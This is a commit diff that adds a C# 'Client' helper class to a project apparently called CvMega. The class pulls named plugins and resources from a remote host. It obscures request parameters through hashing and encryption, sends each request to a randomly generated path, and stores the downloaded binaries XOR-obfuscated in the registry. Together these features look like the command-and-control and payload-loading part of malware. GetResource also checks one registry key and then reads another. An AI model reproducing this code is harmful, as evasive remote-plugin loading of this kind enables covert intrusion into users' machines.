initial commit

2026-08-27 10:55:23 -06:00
commit d03dc0bce1
356 changed files with 18535 additions and 0 deletions
@@ -0,0 +1,92 @@
+using System;
+using System.Collections.Generic;
+using System.Net.Http;
+using System.Text;
+
+namespace CvMega.Helper;
+
+internal class Client
+{
+	public static string currentHost = string.Empty;
+
+	public static byte[] GetPlugin(string name)
+	{
+		if (name == "Client")
+		{
+			return null;
+		}
+		if (RegeditKey.CheckValue("ao" + name))
+		{
+			return SimpleEncryptor.XorEncryptMyKey(Convert.FromBase64String(RegeditKey.GetValue("ao" + name)), 66);
+		}
+		byte[] array = SendGet(new Dictionary<string, string>
+		{
+			{ "command", "plugin" },
+			{ "name", name }
+		});
+		if (array == null)
+		{
+			return null;
+		}
+		RegeditKey.SetValue("ao" + name, Convert.ToBase64String(SimpleEncryptor.XorEncryptMyKey(array, 66)));
+		return array;
+	}
+
+	public static byte[] GetResource(string name)
+	{
+		if (name == "Client")
+		{
+			return null;
+		}
+		if (RegeditKey.CheckValue("oa" + name))
+		{
+			return SimpleEncryptor.XorEncryptMyKey(Convert.FromBase64String(RegeditKey.GetValue("ao" + name)), 66);
+		}
+		byte[] array = SendGet(new Dictionary<string, string>
+		{
+			{ "command", "resource" },
+			{ "name", name }
+		});
+		if (array == null)
+		{
+			return null;
+		}
+		RegeditKey.SetValue("ao" + name, Convert.ToBase64String(SimpleEncryptor.XorEncryptMyKey(array, 66)));
+		return array;
+	}
+
+	public static string SendGetRequest(Dictionary<string, string> parameters)
+	{
+		byte[] array = SendGet(parameters);
+		if (array == null)
+		{
+			return null;
+		}
+		return SimpleEncryptor.Decrypt(Encoding.UTF8.GetString(array));
+	}
+
+	public static byte[] SendGet(Dictionary<string, string> parameters)
+	{
+		try
+		{
+			using HttpClient httpClient = new HttpClient();
+			StringBuilder stringBuilder = new StringBuilder(currentHost + RandomPathGenerator.GenerateCompletelyRandomPath());
+			if (parameters.Count > 0)
+			{
+				stringBuilder.Append("?");
+				foreach (KeyValuePair<string, string> parameter in parameters)
+				{
+					stringBuilder.Append(SimpleEncryptor.Hash(parameter.Key) + "=" + SimpleEncryptor.Encrypt(parameter.Value) + "&");
+				}
+				stringBuilder.Length--;
+			}
+			string requestUri = stringBuilder.ToString();
+			httpClient.DefaultRequestHeaders.Add("User-Agent", "cvmega");
+			return httpClient.GetAsync(requestUri).Result.Content.ReadAsByteArrayAsync().Result;
+		}
+		catch
+		{
+			return null;
+		}
+	}
+}